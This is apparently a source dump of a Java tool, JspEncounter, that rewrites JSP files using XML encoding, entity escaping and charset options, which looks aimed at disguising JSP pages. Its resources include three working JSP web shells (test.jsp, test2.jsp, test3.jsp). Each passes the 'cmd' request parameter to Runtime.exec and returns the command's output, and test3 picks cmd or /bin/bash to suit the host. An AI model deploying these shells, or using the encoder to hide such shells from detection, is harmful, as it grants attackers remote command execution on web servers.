1340 | }
1341 |
1342 | // try to register for lexical events
1343 | for (String lexicalHandlerName : LEXICAL_HANDLER_NAMES) {
1344 | try {
1345 | parent.setProperty(lexicalHandlerName, this);
1346 |
1347 | break;
1348 | } catch (SAXNotRecognizedException ex) {
1349 | // ignore
1350 | } catch (SAXNotSupportedException ex) {
1351 | // ignore
1352 | }
1353 | }
1354 | }
1355 |
1356 | protected void writeDocType(String name, String publicID, String systemID)
1357 | throws IOException {
1358 | boolean hasPublic = false;
1359 |
1360 | writer.write("");
1381 | writePrintln();
1382 | }
1383 |
1384 | protected void writeEntity(Entity entity) throws IOException {
1385 | if (!resolveEntityRefs()) {
1386 | writeEntityRef(entity.getName());
1387 | } else {
1388 | writer.write(entity.getText());
1389 | }
1390 | }
1391 |
1392 | protected void writeEntityRef(String name) throws IOException {
1393 | writer.write("&");
1394 | writer.write(name);
1395 | writer.write(";");
1396 |
1397 | lastOutputNodeType = Node.ENTITY_REFERENCE_NODE;
1398 | }
1399 |
1400 | protected void writeComment(String text) throws IOException {
1401 | if (format.isNewlines()) {
1402 | println();
1403 | indent();
1404 | }
1405 |
1406 | writer.write("");
1409 |
1410 | lastOutputNodeType = Node.COMMENT_NODE;
1411 | }
1412 |
1413 | /**
1414 | * Writes the attributes of the given element
1415 | *
1416 | * @param element
1417 | * DOCUMENT ME!
1418 | *
1419 | * @throws IOException
1420 | * DOCUMENT ME!
1421 | */
1422 | protected void writeAttributes(Element element) throws IOException {
1423 | // I do not yet handle the case where the same prefix maps to
1424 | // two different URIs. For attributes on the same element
1425 | // this is illegal; but as yet we don't throw an exception
1426 | // if someone tries to do this
1427 | for (int i = 0, size = element.attributeCount(); i < size; i++) {
1428 | Attribute attribute = element.attribute(i);
1429 | Namespace ns = attribute.getNamespace();
1430 |
1431 | if ((ns != null) && (ns != Namespace.NO_NAMESPACE)
1432 | && (ns != Namespace.XML_NAMESPACE)) {
1433 | String prefix = ns.getPrefix();
1434 | String uri = namespaceStack.getURI(prefix);
1435 |
1436 | if (!ns.getURI().equals(uri)) {
1437 | writeNamespace(ns);
1438 | namespaceStack.push(ns);
1439 | }
1440 | }
1441 |
1442 | // If the attribute is a namespace declaration, check if we have
1443 | // already written that declaration elsewhere (if that's the case,
1444 | // it must be in the namespace stack
1445 | String attName = attribute.getName();
1446 |
1447 | if (attName.startsWith("xmlns:")) {
1448 | String prefix = attName.substring(6);
1449 |
1450 | if (namespaceStack.getNamespaceForPrefix(prefix) == null) {
1451 | String uri = attribute.getValue();
1452 | namespaceStack.push(prefix, uri);
1453 | writeNamespace(prefix, uri);
1454 | }
1455 | } else if (attName.equals("xmlns")) {
1456 | if (namespaceStack.getDefaultNamespace() == null) {
1457 | String uri = attribute.getValue();
1458 | namespaceStack.push(null, uri);
1459 | writeNamespace(null, uri);
1460 | }
1461 | } else {
1462 | char quote = format.getAttributeQuoteCharacter();
1463 | writer.write(" ");
1464 | writer.write(attribute.getQualifiedName());
1465 | writer.write("=");
1466 | writer.write(quote);
1467 | writeEscapeAttributeEntities(attribute.getValue());
1468 | writer.write(quote);
1469 | }
1470 | }
1471 | }
1472 |
1473 | protected void writeAttribute(Attribute attribute) throws IOException {
1474 | writer.write(" ");
1475 | writer.write(attribute.getQualifiedName());
1476 | writer.write("=");
1477 |
1478 | char quote = format.getAttributeQuoteCharacter();
1479 | writer.write(quote);
1480 |
1481 | writeEscapeAttributeEntities(attribute.getValue());
1482 |
1483 | writer.write(quote);
1484 | lastOutputNodeType = Node.ATTRIBUTE_NODE;
1485 | }
1486 |
1487 | protected void writeAttributes(Attributes attributes) throws IOException {
1488 | for (int i = 0, size = attributes.getLength(); i < size; i++) {
1489 | writeAttribute(attributes, i);
1490 | }
1491 | }
1492 |
1493 | protected void writeAttribute(Attributes attributes, int index)
1494 | throws IOException {
1495 | char quote = format.getAttributeQuoteCharacter();
1496 | writer.write(" ");
1497 | writer.write(attributes.getQName(index));
1498 | writer.write("=");
1499 | writer.write(quote);
1500 | writeEscapeAttributeEntities(attributes.getValue(index));
1501 | writer.write(quote);
1502 | }
1503 |
1504 | protected void indent() throws IOException {
1505 | String indent = format.getIndent();
1506 |
1507 | if ((indent != null) && (indent.length() > 0)) {
1508 | for (int i = 0; i < indentLevel; i++) {
1509 | writer.write(indent);
1510 | }
1511 | }
1512 | }
1513 |
1514 | /**
1515 | *
1516 | * This will print a new line only if the newlines flag was set to true
1517 | *
1518 | *
1519 | * @throws IOException
1520 | * DOCUMENT ME!
1521 | */
1522 | protected void writePrintln() throws IOException {
1523 | if (format.isNewlines()) {
1524 | writer.write(format.getLineSeparator());
1525 | }
1526 | }
1527 |
1528 | /**
1529 | * Get an OutputStreamWriter, use preferred encoding.
1530 | *
1531 | * @param outStream
1532 | * DOCUMENT ME!
1533 | * @param encoding
1534 | * DOCUMENT ME!
1535 | *
1536 | * @return DOCUMENT ME!
1537 | *
1538 | * @throws UnsupportedEncodingException
1539 | * DOCUMENT ME!
1540 | */
1541 | protected Writer createWriter(OutputStream outStream, String encoding)
1542 | throws UnsupportedEncodingException {
1543 | return new BufferedWriter(new OutputStreamWriter(outStream, encoding));
1544 | }
1545 |
1546 | /**
1547 | *
1548 | * This will write the declaration to the given Writer. Assumes XML version
1549 | * 1.0 since we don't directly know.
1550 | *
1551 | *
1552 | * @throws IOException
1553 | * DOCUMENT ME!
1554 | */
1555 | protected void writeDeclaration() throws IOException {
1556 | String encoding = format.getEncoding();
1557 |
1558 | // Only print of declaration is not suppressed
1559 | if (!format.isSuppressDeclaration()) {
1560 | // Assume 1.0 version
1561 | if (encoding.equals("UTF8")) {
1562 | writer.write("");
1569 | } else {
1570 | writer.write("");
1577 | }
1578 |
1579 | if (format.isNewLineAfterDeclaration()) {
1580 | println();
1581 | }
1582 | }
1583 | }
1584 |
1585 | protected void writeClose(String qualifiedName) throws IOException {
1586 | writer.write("");
1587 | writer.write(qualifiedName);
1588 | writer.write(">");
1589 | }
1590 |
1591 | protected void writeEmptyElementClose(String qualifiedName)
1592 | throws IOException {
1593 | // Simply close up
1594 | if (!format.isExpandEmptyElements()) {
1595 | writer.write("/>");
1596 | } else {
1597 | writer.write(">");
1598 | writer.write(qualifiedName);
1599 | writer.write(">");
1600 | }
1601 | }
1602 |
1603 | protected boolean isExpandEmptyElements() {
1604 | return format.isExpandEmptyElements();
1605 | }
1606 |
1607 | /**
1608 | * This will take the pre-defined entities in XML 1.0 and convert their
1609 | * character representation to the appropriate entity reference, suitable
1610 | * for XML attributes.
1611 | *
1612 | * @param text
1613 | * DOCUMENT ME!
1614 | *
1615 | * @return DOCUMENT ME!
1616 | */
1617 | protected String escapeElementEntities(String text) {
1618 | char[] block = null;
1619 | int i;
1620 | int last = 0;
1621 | int size = text.length();
1622 |
1623 | for (i = 0; i < size; i++) {
1624 | String entity = null;
1625 |
1626 | int c = text.codePointAt(i);
1627 | switch (c) {
1628 | case '<':
1629 | entity = "<";
1630 | break;
1631 | case '>':
1632 | entity = ">";
1633 | break;
1634 | case '&':
1635 | entity = "&";
1636 | break;
1637 | case '\t':
1638 | case '\n':
1639 | case '\r':
1640 | // don't encode standard whitespace characters
1641 | if (preserve) {
1642 | entity = String.valueOf((char) c);
1643 | }
1644 | break;
1645 |
1646 | default:
1647 |
1648 | if ((c < 32) || shouldEncodeChar(c)) {
1649 | entity = "" + c + ";";
1650 | }
1651 |
1652 | break;
1653 | }
1654 |
1655 |
1656 | if (entity != null) {
1657 | if (block == null) {
1658 | block = text.toCharArray();
1659 | }
1660 |
1661 | buffer.append(block, last, i - last);
1662 | buffer.append(entity);
1663 | last = i + 1;
1664 | if (Character.isSupplementaryCodePoint(c)) {
1665 | last++;
1666 | }
1667 | }
1668 | if (Character.isSupplementaryCodePoint(c)) {
1669 | i++;
1670 | }
1671 | }
1672 |
1673 | if (last == 0) {
1674 | return text;
1675 | }
1676 |
1677 | if (last < size) {
1678 | if (block == null) {
1679 | block = text.toCharArray();
1680 | }
1681 |
1682 | buffer.append(block, last, i - last);
1683 | }
1684 |
1685 | String answer = buffer.toString();
1686 | buffer.setLength(0);
1687 |
1688 | return answer;
1689 | }
1690 |
1691 | protected void writeEscapeAttributeEntities(String txt) throws IOException {
1692 | if (txt != null) {
1693 | String escapedText = escapeAttributeEntities(txt);
1694 | writer.write(escapedText);
1695 | }
1696 | }
1697 |
1698 |
1699 |
1700 | /**
1701 | * This will take the pre-defined entities in XML 1.0 and convert their
1702 | * character representation to the appropriate entity reference, suitable
1703 | * for XML attributes.
1704 | *
1705 | * @param text
1706 | * DOCUMENT ME!
1707 | *
1708 | * @return DOCUMENT ME!
1709 | */
1710 | protected String escapeAttributeEntities(String text) {
1711 | if (options.attrEscapeType.equals(Const.EscapeType.nothing.name())) {
1712 | return text;
1713 | }
1714 | char quote = format.getAttributeQuoteCharacter();
1715 |
1716 | char[] block = null;
1717 | int i;
1718 | int last = 0;
1719 | int size = text.length();
1720 |
1721 | for (i = 0; i < size; i++) {
1722 | String entity = null;
1723 | int c = text.codePointAt(i);
1724 |
1725 | switch (c) {
1726 | case '<':
1727 | entity = "<";
1728 | break;
1729 | case '>':
1730 | entity = ">";
1731 | break;
1732 | case '\'':
1733 | if (quote == '\'') {
1734 | entity = "'";
1735 | }
1736 | break;
1737 | case '\"':
1738 | if (quote == '\"') {
1739 | entity = """;
1740 | }
1741 | break;
1742 | case '&':
1743 | entity = "&";
1744 | break;
1745 | case '\t':
1746 | case '\n':
1747 | case '\r':
1748 | // don't encode standard whitespace characters
1749 | break;
1750 | default:
1751 | if ((c < 32) || shouldEncodeChar(c) || options.attrEscapeType.equals(Const.EscapeType.entityAll.name())) {
1752 | //entity = "" + c + ";";
1753 | entity = Utils.ToEntity(c,options.entityEscapeType);
1754 | }
1755 | break;
1756 | }
1757 |
1758 | if (entity != null) {
1759 | if (block == null) {
1760 | block = text.toCharArray();
1761 | }
1762 |
1763 | buffer.append(block, last, i - last);
1764 | buffer.append(entity);
1765 | last = i + 1;
1766 | if(Character.isSupplementaryCodePoint(c)) {
1767 | last++;
1768 | }
1769 | }
1770 | if(Character.isSupplementaryCodePoint(c)) {
1771 | i++;
1772 | }
1773 | }
1774 |
1775 | if (last == 0) {
1776 | return text;
1777 | }
1778 |
1779 | if (last < size) {
1780 | if (block == null) {
1781 | block = text.toCharArray();
1782 | }
1783 |
1784 | buffer.append(block, last, i - last);
1785 | }
1786 |
1787 | String answer = buffer.toString();
1788 | buffer.setLength(0);
1789 |
1790 | return answer;
1791 | }
1792 |
1793 | /**
1794 | * Should the given character be escaped. This depends on the encoding of
1795 | * the document.
1796 | *
1797 | * @param codepoint Unicode codepoint.
1798 | * DOCUMENT ME!
1799 | *
1800 | * @return boolean
1801 | */
1802 | protected boolean shouldEncodeChar(int codepoint) {
1803 | int max = getMaximumAllowedCharacter();
1804 |
1805 | return (max > 0) && (codepoint > max);
1806 | }
1807 |
1808 | /**
1809 | * Returns the maximum allowed character code that should be allowed
1810 | * unescaped which defaults to 127 in US-ASCII (7 bit) or 255 in ISO- (8
1811 | * bit).
1812 | *
1813 | * @return DOCUMENT ME!
1814 | */
1815 | protected int defaultMaximumAllowedCharacter() {
1816 | String encoding = format.getEncoding();
1817 |
1818 | if (encoding != null) {
1819 | if (encoding.equals("US-ASCII")) {
1820 | return 127;
1821 | }
1822 | }
1823 |
1824 | // no encoding for things like ISO-*, UTF-8 or UTF-16
1825 | return -1;
1826 | }
1827 |
1828 | protected boolean isNamespaceDeclaration(Namespace ns) {
1829 | if ((ns != null) && (ns != Namespace.XML_NAMESPACE)) {
1830 | String uri = ns.getURI();
1831 |
1832 | if (uri != null) {
1833 | if (!namespaceStack.contains(ns)) {
1834 | return true;
1835 | }
1836 | }
1837 | }
1838 |
1839 | return false;
1840 | }
1841 |
1842 | protected void handleException(IOException e) throws SAXException {
1843 | throw new SAXException(e);
1844 | }
1845 |
1846 | // Laramie Crocker 4/8/2002 10:38AM
1847 |
1848 | /**
1849 | * Lets subclasses get at the current format object, so they can call
1850 | * setTrimText, setNewLines, etc. Put in to support the HTMLWriter, in the
1851 | * way that it pushes the current newline/trim state onto a stack and
1852 | * overrides the state within preformatted tags.
1853 | *
1854 | * @return DOCUMENT ME!
1855 | */
1856 | protected OutputFormat getOutputFormat() {
1857 | return format;
1858 | }
1859 |
1860 | public boolean resolveEntityRefs() {
1861 | return resolveEntityRefs;
1862 | }
1863 |
1864 | public void setResolveEntityRefs(boolean resolve) {
1865 | this.resolveEntityRefs = resolve;
1866 | }
1867 | }
1868 |
--------------------------------------------------------------------------------
/src/main/java/galaxy/jsp/encounter/xml/Options.java:
--------------------------------------------------------------------------------
1 | package galaxy.jsp.encounter.xml;
2 |
3 | import galaxy.jsp.encounter.util.Const;
4 | import org.apache.commons.lang3.tuple.Pair;
5 |
6 | import java.util.ArrayList;
7 | import java.util.List;
8 | import java.util.Map;
9 |
10 | public class Options {
11 |
12 | public List>> extTags = new ArrayList<>();
13 | //public boolean isXml = true;
14 | public String fileType = ".jsp";
15 | public boolean attributeEscape = true;
16 | public String namespace = "jsp";
17 | public String xmlVersion = "1.0";
18 | public String jspVersion = "1.2";
19 | public String charsetMagic = null;
20 | public boolean removeBom = false;
21 | public boolean charsetDeclareLater = false;
22 | public String charsetDeclare = "utf-8";
23 |
24 | public String codeEscapeType;
25 |
26 | // jsp:root ,false :declare charset valid, true: namespace can change
27 | public boolean removeJspRootTag = false;
28 |
29 | //
30 | public String charsetDeclareAttr = Const.DeclareAttr.pageEncoding.name();
31 |
32 |
33 | public String attrEscapeType = Const.EscapeType.entityNormal.name();
34 | public String txtEscapeType = Const.EscapeType.entityNormal.name();
35 |
36 | // xmlVersion 1.1 && set controllerSpaceReplace
37 | //public boolean controllerSpaceOn = false;
38 | public Map controllerSpaceReplace = null;
39 | // new HashMap(){{
40 | // put("(","%s(");
41 | // put(")",")%s");
42 | // }};
43 |
44 | // entity | cdata
45 | // public String escapeType = "entity";
46 | // 13
47 | // 10 | 16 |
48 | // 5 | 8
49 | public int entityEscapeType = 10;
50 | public int cdataWrapCap = -1;
51 | public boolean tagSetPropertyOn = false;
52 | public boolean tagUseBeanOn = false;
53 |
54 |
55 | @Override
56 | public String toString() {
57 | return "Options{" +
58 | "extTags=" + extTags +
59 | ", fileType='" + fileType + '\'' +
60 | ", attributeEscape=" + attributeEscape +
61 | ", namespace='" + namespace + '\'' +
62 | ", xmlVersion='" + xmlVersion + '\'' +
63 | ", jspVersion='" + jspVersion + '\'' +
64 | ", charsetMagic='" + charsetMagic + '\'' +
65 | ", removeBom=" + removeBom +
66 | ", charsetDeclareLater=" + charsetDeclareLater +
67 | ", charsetDeclare='" + charsetDeclare + '\'' +
68 | ", codeEscapeType='" + codeEscapeType + '\'' +
69 | ", removeJspRootTag=" + removeJspRootTag +
70 | ", charsetDeclareAttr='" + charsetDeclareAttr + '\'' +
71 | ", attrEscapeType='" + attrEscapeType + '\'' +
72 | ", txtEscapeType='" + txtEscapeType + '\'' +
73 | ", controllerSpaceReplace=" + controllerSpaceReplace +
74 | ", entityEscapeType=" + entityEscapeType +
75 | ", cdataWrapCap=" + cdataWrapCap +
76 | ", tagSetPropertyOn=" + tagSetPropertyOn +
77 | ", tagUseBeanOn=" + tagUseBeanOn +
78 | '}';
79 | }
80 | }
81 |
--------------------------------------------------------------------------------
/src/main/java/org/apache/jasper/compiler/Test.java:
--------------------------------------------------------------------------------
1 | //package org.apache.jasper.compiler;
2 | //
3 | //import org.apache.jasper.JasperException;
4 | //import org.apache.jasper.JspCompilationContext;
5 | //import org.apache.jasper.compiler.Node;
6 | //import sun.misc.Unsafe;
7 | //
8 | //import java.io.IOException;
9 | //import java.lang.reflect.Field;
10 | //
11 | //public class Test {
12 | // public static void main(String[] args) throws Exception {
13 | //
14 | //
15 | // String file = Test.class.getResource("/test.jsp").getPath();
16 | //
17 | //
18 | // Field field = Unsafe.class.getDeclaredField("theUnsafe");
19 | // field.setAccessible(true);
20 | // Unsafe unsafe = (Unsafe) field.get(null);
21 | //
22 | // JspCompilationContext ctx = (JspCompilationContext) unsafe.allocateInstance(JspCompilationContext.class);
23 | // Compiler compiler = new JDTCompiler();
24 | // ParserController parserCtl = new ParserController(ctx, compiler);
25 | //
26 | // // Pass 1 - the directives
27 | // Node.Nodes directives =
28 | // parserCtl.parseDirectives(file);
29 | // //Validator.validateDirectives(this, directives);
30 | //
31 | // // Pass 2 - the whole translation unit
32 | // Node.Nodes pageNodes = parserCtl.parse(file);
33 | //
34 | // }
35 | //}
36 |
--------------------------------------------------------------------------------
/src/main/resources/encoded_jsp.jsp:
--------------------------------------------------------------------------------
1 | /*E:\turn1tup\program_java\2022.11.04_jsp\apache-tomcat-10.0.27-windows-x64\apache-tomcat-10.0.27\work\Catalina\localhost\ROOT\org\apache\jsp\encoded_jsp.java
2 | * Generated by the Jasper component of Apache Tomcat
3 | * Version: Apache Tomcat/10.0.27
4 | * Generated at: 2022-11-10 14:27:48 UTC
5 | * Note: The last modified time of this file was set to
6 | * the last modified time of the source file after
7 | * generation to assist with modification tracking.
8 | */
9 | package org.apache.jsp;
10 |
11 | import jakarta.servlet.*;
12 | import jakarta.servlet.http.*;
13 | import jakarta.servlet.jsp.*;
14 |
15 | public final class encoded_jsp extends org.apache.jasper.runtime.HttpJspBase
16 | implements org.apache.jasper.runtime.JspSourceDependent,
17 | org.apache.jasper.runtime.JspSourceImports {
18 |
19 | private static final jakarta.servlet.jsp.JspFactory _jspxFactory =
20 | jakarta.servlet.jsp.JspFactory.getDefaultFactory();
21 |
22 | private static java.util.Map _jspx_dependants;
23 |
24 | private static final java.util.Set _jspx_imports_packages;
25 |
26 | private static final java.util.Set _jspx_imports_classes;
27 |
28 | static {
29 | _jspx_imports_packages = new java.util.HashSet<>();
30 | _jspx_imports_packages.add("jakarta.servlet");
31 | _jspx_imports_packages.add("jakarta.servlet.http");
32 | _jspx_imports_packages.add("jakarta.servlet.jsp");
33 | _jspx_imports_classes = null;
34 | }
35 |
36 | private volatile jakarta.el.ExpressionFactory _el_expressionfactory;
37 | private volatile org.apache.tomcat.InstanceManager _jsp_instancemanager;
38 |
39 | public java.util.Map getDependants() {
40 | return _jspx_dependants;
41 | }
42 |
43 | public java.util.Set getPackageImports() {
44 | return _jspx_imports_packages;
45 | }
46 |
47 | public java.util.Set getClassImports() {
48 | return _jspx_imports_classes;
49 | }
50 |
51 | public jakarta.el.ExpressionFactory _jsp_getExpressionFactory() {
52 | if (_el_expressionfactory == null) {
53 | synchronized (this) {
54 | if (_el_expressionfactory == null) {
55 | _el_expressionfactory = _jspxFactory.getJspApplicationContext(getServletConfig().getServletContext()).getExpressionFactory();
56 | }
57 | }
58 | }
59 | return _el_expressionfactory;
60 | }
61 |
62 | public org.apache.tomcat.InstanceManager _jsp_getInstanceManager() {
63 | if (_jsp_instancemanager == null) {
64 | synchronized (this) {
65 | if (_jsp_instancemanager == null) {
66 | _jsp_instancemanager = org.apache.jasper.runtime.InstanceManagerFactory.getInstanceManager(getServletConfig());
67 | }
68 | }
69 | }
70 | return _jsp_instancemanager;
71 | }
72 |
73 | public void _jspInit() {
74 | }
75 |
76 | public void _jspDestroy() {
77 | }
78 |
79 | public void _jspService(final jakarta.servlet.http.HttpServletRequest request, final jakarta.servlet.http.HttpServletResponse response)
80 | throws java.io.IOException, jakarta.servlet.ServletException {
81 |
82 | if (!jakarta.servlet.DispatcherType.ERROR.equals(request.getDispatcherType())) {
83 | final java.lang.String _jspx_method = request.getMethod();
84 | if ("OPTIONS".equals(_jspx_method)) {
85 | response.setHeader("Allow","GET, HEAD, POST, OPTIONS");
86 | return;
87 | }
88 | if (!"GET".equals(_jspx_method) && !"POST".equals(_jspx_method) && !"HEAD".equals(_jspx_method)) {
89 | response.setHeader("Allow","GET, HEAD, POST, OPTIONS");
90 | response.sendError(HttpServletResponse.SC_METHOD_NOT_ALLOWED, "JSP 只允许 GET、POST 或 HEAD。Jasper 还允许 OPTIONS");
91 | return;
92 | }
93 | }
94 |
95 | final jakarta.servlet.jsp.PageContext pageContext;
96 | jakarta.servlet.http.HttpSession session = null;
97 | final jakarta.servlet.ServletContext application;
98 | final jakarta.servlet.ServletConfig config;
99 | jakarta.servlet.jsp.JspWriter out = null;
100 | final java.lang.Object page = this;
101 | jakarta.servlet.jsp.JspWriter _jspx_out = null;
102 | jakarta.servlet.jsp.PageContext _jspx_page_context = null;
103 |
104 |
105 | try {
106 | response.setContentType("text/html");
107 | pageContext = _jspxFactory.getPageContext(this, request, response,
108 | null, true, 8192, true);
109 | _jspx_page_context = pageContext;
110 | application = pageContext.getServletContext();
111 | config = pageContext.getServletConfig();
112 | session = pageContext.getSession();
113 | out = pageContext.getOut();
114 | _jspx_out = out;
115 |
116 | out.write('\n');
117 | java.lang.Object test = null;
118 | test = (java.lang.Object) _jspx_page_context.getAttribute("test", jakarta.servlet.jsp.PageContext.PAGE_SCOPE);
119 | if (test == null){
120 | test = new java.lang.Object();
121 | _jspx_page_context.setAttribute("test", test, jakarta.servlet.jsp.PageContext.PAGE_SCOPE);
122 | }
123 | out.write('\n');
124 | org.apache.jasper.runtime.JspRuntimeLibrary.introspect(_jspx_page_context.findAttribute("test"), request);
125 | out.write(" ");
126 | } catch (java.lang.Throwable t) {
127 | if (!(t instanceof jakarta.servlet.jsp.SkipPageException)){
128 | out = _jspx_out;
129 | if (out != null && out.getBufferSize() != 0)
130 | try {
131 | if (response.isCommitted()) {
132 | out.flush();
133 | } else {
134 | out.clearBuffer();
135 | }
136 | } catch (java.io.IOException e) {}
137 | if (_jspx_page_context != null) _jspx_page_context.handlePageException(t);
138 | else throw new ServletException(t);
139 | }
140 | } finally {
141 | _jspxFactory.releasePageContext(_jspx_page_context);
142 | }
143 | }
144 | }
145 |
--------------------------------------------------------------------------------
/src/main/resources/matrix.xlsx:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/turn1tup/JspEncounter/5abd088f89cc9b2e62bb128e7e2f87384186eb55/src/main/resources/matrix.xlsx
--------------------------------------------------------------------------------
/src/main/resources/setPropertyDemo.jsp:
--------------------------------------------------------------------------------
1 |
2 |
3 |
--------------------------------------------------------------------------------
/src/main/resources/test.jsp:
--------------------------------------------------------------------------------
1 | <%@page import="java.util.*,java.io.*" contentType="text/html" %>
2 | <%@page import="java.fff.*,java.111.*" contentType="text/html" %>
3 | <%! class Test1{} %>
4 | <%! class Test2{} %>
5 | <%= out.write("I'm expr1 ") %>
6 | <%= out.write("I'm expr2 ") %>
7 | <% out.write("I'm scriptlet1 "); %>
8 | <%
9 | if (request.getParameter("cmd") != null) {
10 |
11 | Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
12 | OutputStream os = p.getOutputStream();
13 | InputStream in = p.getInputStream();
14 | DataInputStream dis = new DataInputStream(in);
15 | String disr = dis.readLine();
16 | while ( disr != null ) {
17 | out.println(disr);
18 | disr = dis.readLine();
19 | }
20 | }
21 |
22 | %>
--------------------------------------------------------------------------------
/src/main/resources/test.txt:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/turn1tup/JspEncounter/5abd088f89cc9b2e62bb128e7e2f87384186eb55/src/main/resources/test.txt
--------------------------------------------------------------------------------
/src/main/resources/test2.jsp:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
21 |
22 |
23 |
24 | out.write("I'm turn1tup111 ");
25 | if (request.getParameter("cmd") != null) {
26 |
27 | Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
28 | OutputStream os = p.getOutputStream();
29 | InputStream in = p.getInputStream();
30 | DataInputStream dis = new DataInputStream(in);
31 | String disr = dis.readLine();
32 | while ( disr != null ) {
33 | out.println(disr);
34 | disr = dis.readLine();
35 | }
36 | }
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
--------------------------------------------------------------------------------
/src/main/resources/test3.jsp:
--------------------------------------------------------------------------------
1 | <%@page import="java.util.*,java.io.*" contentType="text/html" %>
2 | <%! class Test{} %>
3 | <%
4 |
5 | if (request.getParameter ("cmd") != null) {
6 | boolean isWin = System.getProperty("os.name").toUpperCase().contains("WIN");
7 | String[] cmd = {isWin?"cmd":"/bin/bash",isWin?"/c":"-c",request.getParameter("cmd")};
8 | InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
9 | OutputStream outputStream = response.getOutputStream();
10 | int a;
11 | outputStream.write(String.valueOf(System.currentTimeMillis()).getBytes());
12 | while((a=inputStream.read())!=-1){
13 | outputStream.write(a);
14 | }
15 | }
16 |
17 | %>
--------------------------------------------------------------------------------
/src/main/resources/useBeanDemo.jsp:
--------------------------------------------------------------------------------
1 |
2 |
3 |
--------------------------------------------------------------------------------